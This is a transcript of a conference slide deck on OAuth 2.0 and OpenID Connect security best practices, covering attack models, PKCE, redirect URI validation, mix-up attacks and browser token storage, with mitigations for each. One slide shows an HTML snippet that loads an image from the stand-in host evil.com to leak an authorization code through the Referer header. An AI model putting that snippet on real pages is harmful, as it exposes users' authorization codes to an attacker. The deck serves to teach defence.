OAuth and OpenID Connect: Security Best Practices

OAuth and OpenID Connect: Security Best Practices

75681814fbbb90c9224ea5ed0f8324ee?s=128

Dominick Baier

January 24, 2020
Tweet

Transcript

  1. OpenID Connect & OAuth 2.0 Security Best Practices Dominick Baier

    @leastprivilege
  2. 2 @leastprivilege Me • Independent Consultant – Specializing on Application

    Security Architectures & Security Protocols – Working with Software Development Teams (ISVs and in-house) • Co-Creator of IdentityServer & IdentityModel OSS Project – Certified OpenID Connect & OAuth 2.0 Implementation for .NET – https://identityserver.io • Co-Creator of PolicyServer – Authorization for modern Applications – https://policyserver.io email dominick.baier@leastprivilege.com blog https://leastprivilege.com twitter @leastprivilege slides https://speakerdeck.com/leastprivilege
  3. 3 @leastprivilege Agenda 1. Overview of current security guidance 2.

    Have a closer look at some concrete issues and solutions 3. OAuth future
  4. 4 @leastprivilege Some Context… 2005 SAML 2.0p 2007 2012 2014

    2015 2017 Soon OpenID Connect Session Management OpenID Connect Front-Channel Notifications OpenID Connect Back-Channel Notifications Authentication Method Reference Values OAuth 2.0 Token Exchange OAuth 2.0 Mutual TLS OAuth 2.0 Resource Indicators OAuth 1.0 OAuth 2.0 Bearer Tokens OpenID Connect Core OpenID Connect Discovery OAuth 2.0 Assertion Framework OAuth 2.0 Dynamic Client Registration OAuth 2.0 Token Introspection JSON Web Token (JWT) OAuth 2.0 JSON Web Token (JWT) Profile OAuth 2.0 SAML 2.0 Profile OAuth 2.0 PKCE OAuth 2.0 Security Topics BCP JSON Web Token BCP OAuth 2.0 Threat Model & Security Considerations OAuth 2.0 for Native Apps BCP OAuth 2.0 for Browser-based Applications BCP
  5. 5 @leastprivilege Relevant Documents OAuth 2.0 Security Best Current Practice

    https://tools.ietf.org/html/draft-ietf-oauth- security-topics/ OAuth 2.0 Threat Model & Security Considerations https://tools.ietf.org/html/rfc6819 JSON Web Token Best Current Practices https://tools.ietf.org/wg/oauth/draft-ietf- oauth-jwt-bcp/ OAuth 2.0 for native Applications https://tools.ietf.org/html/rfc8252 OAuth 2.0 for Browser-Based Applications https://tools.ietf.org/wg/oauth/draft-ietf-oauth-browser-based-apps/ JSON Web Token (JWT) Profile for OAuth 2.0 Access Tokens https://tools.ietf.org/wg/oauth/draft-ietf-oauth- access-token-jwt/
  6. 6 @leastprivilege The Big Picture Browser Native App Server App

    "Thing" Web App Web API Web API Web API Security Token Service 1 2 1 public client 2 confidential client 1 2 2
  7. Simplified Client Resource Owner Resource Server Authorization Server 1 2

  8. Attack Model (1) can read/write (unprotected) network traffic Client Resource

    Owner Resource Server Authorization Server 1 2 • no TLS • TLS compromise • other network infrastructure issues (e.g. DNS)
  9. Attack Model (2) compromise of an endpoint Client Resource Owner

    Resource Server Authorization Server 1 2 • Client, AS or RS
  10. Attack Model (3) additional endpoints Client Resource Owner Resource Server

    Authorization Server 1 2 • rogue client or RS registered with legit AS • trick legit client to trust rogue AS • trick user in using rogue client or RS • manipulation of network messages
  11. Attack Model (4) Client Resource Owner Resource Server Authorization Server

    1 2 can read, but not modify, the contents of the authorization request or response • open redirector vulnerabilities • client or AS • redirect interception on mobile devices • leakage • browser history • proxies • log files
  12. 12 @leastprivilege

  13. 13 @leastprivilege Implicit Flow Request GET /authorize ?client_id=app1 &redirect_uri=https://app.com/cb.html &response_type=token

    &state=j1y…a23 &scope=api1 api2
  14. 14 @leastprivilege Implicit Flow Response GET /callback.html #token=32x…133 &expires_in=3600 &token_type=Bearer

    &state=j1y…a23
  15. 15 @leastprivilege No more Implicit Flow • Implicit flow was

    a workaround in 2012 to overcome cross-origin AJAX limitations – solved now with CORS • Error prone – tokens are transmitted via URLs and can leak easily • log files • browser history • referrer headers • implementation errors • proxies – no solution for token injection attacks (without adding OpenID Connect)
  16. 16 @leastprivilege No more Password Grant • Exposes user's credentials

    to client – increased attack surface – credentials can leak in more places than just the authorization server – users are trained to type in credentials in multiple places • more prone to phishing attacks • Incompatible with modern authentication flows – FIDO – 2FA – federation
  17. 17 @leastprivilege Original Flows Application Type Flow Machine to Machine

    Client Credentials Flow Server-side Web Application OAuth Code Flow OpenID Connect Hybrid Flow Password Grant Native Desktop/Mobile Applications Implicit Flow OAuth Code Flow OpenID Connect Hybrid Flow Password Grant SPAs Implicit Flow Password Grant Code Flow
  18. 18 @leastprivilege Grand Unification Application Type Flow Machine to Machine

    Client Credentials Flow Interactive Application Code Flow + PKCE
  19. 19 @leastprivilege Machine to Machine APIs Authorization Server Scopes: api1,

    api2 api3… client_id/client_secret, scope=api1 api2 access token access token
  20. 20 @leastprivilege Client Authentication • Shared secrets are not recommended

    – can easily leak (configuration management, network traces, proxies…) – should have high entropy (e.g. GUIDs, RNGs) – should be stored non-reversible on authorization server • Asymmetric keys – no need to store any secret on authorization server – secret does not get transmitted over a network – provides key material for sender constraining – signed JWTs and/or Mutual TLS
  21. 22 @leastprivilege Sender Constrained Access Tokens w/ MTLS { "iss":

    "https://issuer", "exp": 1340819380, "nbf": 1340818761, "client_id": "182jmm199", "scope": "api1", "cnf": { "x5t#S256": "bwcK0esc3ACC3DB2Y5_lESsXE8o9ltc05O89jdN-dg2" } }
  22. 25 @leastprivilege JWTs { "typ": "JWT", "alg": "RS256" "kid": "1"

    } { "iss": "https://my_issuer", "exp": "1340819380", "aud": [ "invoice.api", "customer.api" ] "client_id": "client1", "sub": "123", "amr" : [ "pwd", "otp" ] } Header Payload
  23. 26 @leastprivilege JWTs

  24. 27 @leastprivilege Typed JWTs { "typ": "at+jwt", "alg": "RS256" "kid":

    "1" } { "iss": "https://my_issuer", "exp": "1340819380", "aud": [ "invoice.api", "customer.api" ] "client_id": "client1", "sub": "123", "amr" : [ "pwd", "otp" ] } Header Payload
  25. 28 @leastprivilege Interactive Applications • Browser redirect-based GET /authorize ?client_id=app1

    &redirect_uri=https://app.com/cb GET /cb?code=xyz client id/secret/code access token 3 1 2
  26. 29 @leastprivilege Redirect URI Validation Attacks • Problematic – https://*.somesite.com/cb

    • e.g. sub-domain takeover – https://somesite.com/* • find a page with an open redirector • find a page where attacker can inject content GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13 &redirect_uri=https://somesite.com/some_endoint
  27. 30 @leastprivilege Credential Leakage via Referrer Headers • Might happen

    on client or authorization server <html> <body> <img src='https://evil.com/image.png' /> </body> </html> GET /some_endpoint?code=xyz GET https://evil.com/image.png Referrer: https://myapp.com/cb?code=xyz
  28. 31 @leastprivilege Authorization Code Injection GET /authorize ?client_id=app1 &redirect_uri=https://app.com/cb GET

    /cb?code=stolen client id/secret/code access token 3 1 2
  29. 32 @leastprivilege Mitigation: Proof Key for Code Exchange GET /authorize

    ?client_id=app1 &redirect_uri=https://app.com/cb &code_challenge=cy..fc GET /cb?code=xyz client id/secret code / code_verifier access token 3 1 2 code_verifier = random number code_challenge = hash(code_verifier)
  30. 35 @leastprivilege Countermeasures Summary • Always do exact matching of

    redirect URIs • Beware of open redirectors • Callback pages should not contain third-party resources – use Content Security Policy for lock-down • Always use PKCE • Use state parameter to bind request to user-agent • Immediately invalidate state after usage • Immediately invalidate authorization codes after usage • Use rel="noreferrer" and referrer policies
  31. 36 @leastprivilege MixUp Attack (Variant 1) Attacker AS (A-AS) Honest

    AS (H-AS) 1. User selects H-AS 6. Client still assumes that A-AS was used and sends code and client secret to A-AS 2. Attacker intercepts request, and changes to A-AS 3. Client stores A-AS selection in user session 4. Attacker changes HTTP response to point to H-AS 5. User authenticates with H-AS – redirects back /login?p=H-AS /login?p=A-AS A-AS 302 A-AS 302 H-AS /cb?code=xyz code + secret 1 2 3 4 5 6 7. Attacker can redeem code 7
  32. 37 @leastprivilege MixUp Attack (Variant 2) Attacker AS (A-AS) Honest

    AS (H-AS) 1. User selects A-AS 5. Client sends H-AS code and client secret to A-AS 3. A-AS changes client ID and redirect URI and forwards to H-AS 4. User authenticates with H-AS – redirects back /login?p=A-AS A-AS 302 A-AS /cb?code=xyz code + secret 2. Clients sends user to A-AS to authenticate 1 2 3 4 5
  33. 38 @leastprivilege MixUp Countermeasures 1. Use AS-specific redirect URIs with

    exact redirect URI matching 2. Store for each authorization request the intended AS 3. Compare the intended AS with the actual redirect URI where the authorization response was received
  34. 39 @leastprivilege How does ASP.NET Core prevent MixUp Attacks? •

    Each external provider is represented by an authentication handler – with a unique name + unique callback endpoint GET /authorize?client_id=mvc&redirect_uri=https://myapp.com/signin-as1 &state=protected(correlationId + other_data) set cookie: correlation.as1.correlationId Challenge (name = as1) Callback GET /signin-as1?code=xyz&state=protected(correlationId + other_data) read cookie: correlation.as1.correlationId
  35. 40 @leastprivilege Public Clients • Slightly different rules – 1:many

    mapping of client ID to client instance – public clients cannot store secrets (and thus don’t use them) • IOW no way to authenticate a public client • there are exceptions for certain environments (e.g. trusted hardware) • Native desktop/mobile applications • Browser-based appplications (aka SPAs)
  36. 41 @leastprivilege Anti Pattern: Native Login Dialogs Username Password Login

    username/password token token trust Token service API
  37. 42 @leastprivilege Using a browser with Code Flow + PKCE

    authentication request render UI & workflow
  38. 43 @leastprivilege Different Approaches • Choice of browser – embedded

    web view • private browser & private cookie container – system browser** • e.g. ASAuthenticationSession, Chrome Custom Tabs, or desktop browser • full featured including address bar & add-ins • shared cookie container • Handling the callback – event handling – custom URI schemes – local HTTP listener – "claimed" HTTPS URIs** ** most recommended
  39. 45 @leastprivilege Browser-based Applications (aka SPAs) • The most problematic

    client type from a security point of view – but also most popular client type • Unique attacks due to "shared execution environment" nature of browser – Cross-Site Request Forgery (CSRF) – Cross-Site Scripting (XSS) • Two fundamental ways to do API authentication in SPAs – implicit credential that browser sends automatically • cookies, Integrated Windows authentication (Kerberos), X509 client certificates – explicit credential that must be sent from application code • access tokens
  40. 46 @leastprivilege Same-Site Architecture Browser Front-End Back-End / APIs Identity

    Provider cookies + anti-forgery https://myapp.com external APIs
  41. 47 @leastprivilege Anti-Forgery Protection • Anti-Forgery Tokens – cookie +

    header mechanism (e.g. ASP.NET Core MVC) • SameSite Cookies – automatic cookie isolation by site January 2020
  42. 48 @leastprivilege • Application Server • iniates protocol flow •

    stores & manages tokens • proxies cross-domain calls • Browser • stores no tokens • uses cookies JavaScript Applications with a Backend JavaScript Applications without a Backend • Browser • initiates flow • store & manages tokens • makes all API calls • use no cookies
  43. 49 @leastprivilege Access Token Storage in Browsers • No "secure"

    data storage mechanism in browsers – session storage, local storage, in-memory… – prone to XSS-based attacks • potential exfiltration of tokens • origin-isolation of storage mechanism might help • Content Security Policy (CSP) highly recommend – but not always easy – strict dynamic support not widely deployed yet
  44. 50 @leastprivilege Refresh Token Storage in Browsers • (unconstrained) refresh

    tokens even more dangerous when stored in browser – MUST rotate refresh tokens on each use, in order to be able to detect a stolen refresh token if one is replayed – SHOULD detect replay of refresh tokens – MUST either set a maximum lifetime on refresh tokens OR expire if the refresh token has not been used within some amount of time • …or no refresh tokens at all – "silent renew" is a session-bound mechanism to request new access tokens – becomes more and more problematic with browser default settings
  45. 51 @leastprivilege What's next? • OAuth 2.0 and OpenID Connect

    move into more specialized and high security/risk scenarios – financial, health care… • Formal analysis shows more potential attack vectors – https://arxiv.org/abs/1901.11520 • Additonal specs are being created to mitigate those attacks – JWT secured authorization requests, rich/pushed authorization requests (RAR/PAR), OAuth.xyz
  46. 52 @leastprivilege

  47. 53 @leastprivilege JWT Secured Authorization Requests (JAR) https://tools.ietf.org/wg/oauth/draft-ietf-oauth-jwsreq/ GET /authorize?client_id=client&response_type=code&redirect_uri=https://myapp.com/cb

    &state=abc&code_challenge=def&scope=openid customer.api GET /authorize?request= eyJhbGciOiJSUzI1NiIsImtpZCI6ImsyYmRjIn0.ewogICAgImlzcyI6ICJzNkJoZF JrcXQzIiwKICAgIC.JhdWQiOiAiaHR0cHM6Ly9zZXJ2ZXIuZXhhbXBsZS5jb20iL Aog ICAgInJlc3BvbnNlX3R5cGUiOiAiY29kZSBpZF90b2tlbiIsCiAgICAiY2xpZW 50X2 lkIjogInM2QmhkUmtxdDMiLAogICAgInJlZGlyZWN0X3VyaSI6ICJodHR wczovL2Ns aWVudC5leGFtcGxlLm9yZy9jYiIsCiAgICAic2NvcGUiOiAib3Blbml kIiwKICAgIC JzdGF0ZSI6ICJhZjBpZmpzbGRraiI.sCiAgICAibm9uY2UiOiAibi0wU zZfV3pBMk1q IiwKICAgICJtYXhfYWdlIjogODY0MDAKfQ.Nsxa_18VUElVaPjqW _ToI1yrEJ67BgK b5xsuZRVqzGkfKrOIX7BCx0biSxYGmjK9KJPctH1OC0iQJwXu5Y
  48. 54 @leastprivilege Request Object { "typ": "oauth.authz.req+jwt", "alg": "RS256", "kid":

    "1" }. { "iss": "client", "aud": "https://authorizationserver.com", "response_type": "code", "client_id": "client", "redirect_uri": "https://myapp.com/cb", "scope": "openid customer.api", "state": "abc", "code_challenge": "def" }. [Signature]
  49. 58 @leastprivilege Pushed Authorization Requests (1) • Adds an initial

    authenticated back-channel call – returns a request object reference https://tools.ietf.org/html/draft-lodderstedt-oauth-par-01 POST /par client_id=client& response_type=code& redirect_uri=https://myapp.com/cb& state=abc& code_challenge=def& authorization_details={…} HTTP/1.1 201 Created { "request_uri": "urn:par:bwc4JK-cc191e-Y1LTC2", "expires_in": 90 }
  50. 59 @leastprivilege Pushed Authorization Requests (2) • Front-channel only used

    to transmit reference to authenticated and validated request object GET /authorize?request_uri=urn:par:bwc4JK-cc191e-Y1LTC2
  51. 60 @leastprivilege Summary • Some threats can‘t be mitigated (as

    a developer) – compromise of infrastructure • Some threats are easy to mitigate – CSRF, injection attacks, open redirectors... • Some threats are hard to mitigate – complex setups that specifically target an application • Know your threat/attacker model – implement the mitigations that affect you
  52. 61 @leastprivilege Thanks! …and (because I always forget) - we

    have stickers!